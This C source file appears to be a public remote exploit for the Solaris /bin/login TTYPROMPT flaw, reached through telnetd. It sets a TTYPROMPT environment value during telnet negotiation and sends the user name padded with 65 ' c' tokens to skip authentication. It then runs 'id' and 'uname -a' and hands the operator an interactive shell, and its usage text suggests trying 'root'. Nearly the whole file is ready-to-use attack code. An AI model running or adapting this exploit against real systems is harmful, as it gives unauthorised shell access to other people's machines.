/******************************************************************


Solaris 2.6, 7, and 8 /bin/login TTYPROMPT remote exploit.

Tested for: 
SunOS 5.5, 5.5.1, 5.6, 5.7, 5.8 Sparc 
SunOS 5.7, 5.8 x86 

Code by lion
lion@cnhonker.net

Welcome to HUC website http://www.cnhonker.com 


******************************************************************/ 

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/telnet.h>

#define BUFLEN 1024

char shellcode[]= "\x97\x97\x97\x97\x97\x97";

void usage(char *p)
{
   printf("Usage: %s [-u user] [-p port] <-h host>\n\n", p);
   printf("       -u: login username (default: bin), try \"root\" :)\n");
   printf("       -p: port to use (default: 23)\n\n");

   printf("\n"); 
   exit(0);
}

void msg(char *msg)
{
    perror(msg);
    exit(errno);
}

u_int32_t get_ip(char *host)
{
    struct hostent *hp;
    
    if(!(hp = gethostbyname(host))){
        fprintf(stderr, "cannot resolve %s\n", host);
        return(0);
    }
    return(*(u_int32_t *)hp->h_addr_list[0]);
}

int get_socket(char *target, int port)
{
    int sock;
    u_int32_t ip;
    struct sockaddr_in sin;

    if(!(ip = get_ip(target)))
        return(0);
    
    bzero(&sin, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_port = htons(port);
    sin.sin_addr.s_addr = ip;
    
    if(!(sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        msg("socket");
    if(connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
        msg("connect");
    return(sock);
}

void send_wont(int sock, int option)
{
    char buf[3], *ptr=buf;
    
    *ptr++ = IAC;
    *ptr++ = WONT;
    *ptr++ = (unsigned char)option;
    if(write(sock, buf, 3) < 0)
        msg("write");
    return;
}

void send_will(int sock, int option)
{
    char buf[3], *ptr=buf;

    *ptr++ = IAC;
    *ptr++ = WILL;
    *ptr++ = (unsigned char)option;
    if(write(sock, buf, 3) < 0)
        msg("write");
    return;
}

void send_do(int sock, int option)
{
    char buf[3], *ptr=buf;

    *ptr++ = IAC;
    *ptr++ = DO;
    *ptr++ = (unsigned char)option;
    if(write(sock, buf, 3) < 0)
        msg("write");
    return;
}

void send_env(int sock, char *name, char *value)
{
    char buf[BUFLEN], *ptr = buf;
    
    *ptr++ = IAC;
    *ptr++ = SB;
    *ptr++ = TELOPT_NEW_ENVIRON;
    *ptr++ = TELQUAL_IS;
    *ptr++ = NEW_ENV_VAR;
    strncpy(ptr, name, BUFLEN-20);
    ptr += strlen(ptr);
    *ptr++ = NEW_ENV_VALUE;
    strncpy(ptr, value, (&buf[BUFLEN-1] - ptr)-1);
    ptr += strlen(ptr);
    *ptr++ = IAC;
    *ptr++ = SE;
    
    if(write(sock, buf, (ptr - buf)) < 0)
        msg("write");
    return;
}

void do_negotiate(int sock)
{
    send_wont(sock, TELOPT_TTYPE);
    send_wont(sock, TELOPT_NAWS);
    send_wont(sock, TELOPT_LFLOW);
    send_wont(sock, TELOPT_LINEMODE);
    send_wont(sock, TELOPT_XDISPLOC);
    send_will(sock, TELOPT_LFLOW);
    send_will(sock, TELOPT_LINEMODE);
    send_wont(sock, TELOPT_OLD_ENVIRON);
    send_will(sock, TELOPT_NEW_ENVIRON);
    send_will(sock, TELOPT_BINARY);
    send_env(sock, "TTYPROMPT", shellcode);
    return;
}

void write_attack_buf(int sock, char *user)
{
    char outbuf[128],*s_buf;
    int i, j;

    if(!(s_buf = (char *)calloc(BUFLEN*2, 1)))
        msg("malloc");

    strcpy(outbuf, user);
    for(i = 0; i < 65; i++)
    {
       strcat(outbuf, " c");
    }
    strcat(outbuf, "\n");
    
    printf("send to target:\n%s\n", outbuf);
    if(write(sock, outbuf, strlen(outbuf)) < 0)
        msg("write"); 
    


    /* -- 2 reads for reading the garbage which screws up term -- */
    if((j = read(sock, s_buf, BUFLEN)) < 0)
        msg("read");

    if((j = read(sock, s_buf, BUFLEN)) < 0)
        msg("read");
    free(s_buf);
    return;
}

int main(int argc, char **argv)
{
    int c, n, sockfd, port = 23;
    char buf[2048], *shellstr="cd /; id; pwd; uname -a;\r\n";
    char user[36], host[36];
    fd_set rset;

    printf("============================================================\n");
    printf("Solaris 5.6 7 8 telnetd Remote exploit\n");
    printf("Tested for:\nSunOS 5.5, 5.5.1, 5.6, 5.7, 5.8 Sparc\nSunOS 5.7, 5.8 x86\n");
    printf("Code by lion, Welcome to HUC website http://www.cnhonker.com\n\n");

    if(argc <3)  usage(argv[0]);
    strcpy(user, "bin");
    while((c = getopt(argc, argv, "h:u:p:")) != EOF){
        switch(c){
            case 'h':
                strncpy(host, optarg, 36);
                break;
            case 'u':
                strncpy(user,optarg, 36);
                break;
            case 'p':
                port = atoi(optarg);
                break;
        }
    }
    
    if(!(sockfd = get_socket(host, port)))
        exit(-1);

    do_negotiate(sockfd);

    n = read(sockfd, buf, sizeof(buf));

    write_attack_buf(sockfd,user);

    send_wont(sockfd, TELOPT_BINARY);

    sleep(1);
    read(sockfd, buf, sizeof(buf));

    write(sockfd, shellstr, strlen(shellstr));
    n = read(sockfd, buf, sizeof(buf));

    FD_ZERO(&rset);
    for(;;){
        FD_SET(0, &rset);
        FD_SET(sockfd, &rset);
        if(select(sockfd+1, &rset, NULL, NULL, NULL) < 0)
            msg("select");
        
        if(FD_ISSET(sockfd, &rset)){
            bzero(buf, sizeof(buf));
            if((n = read(sockfd, buf, sizeof(buf))) < 0)
                msg("read");
            if(n == 0){
                printf("EOF\n");
                exit(0);
            }
            write(1, buf, n);
        }
        
        if(FD_ISSET(0, &rset)){
            bzero(buf, sizeof(buf));
            if((n = read(0, buf, sizeof(buf))) < 0)
                msg("read");
            if(n == 0)
                exit(0);
            write(sockfd, buf, n);
        }
    }
}
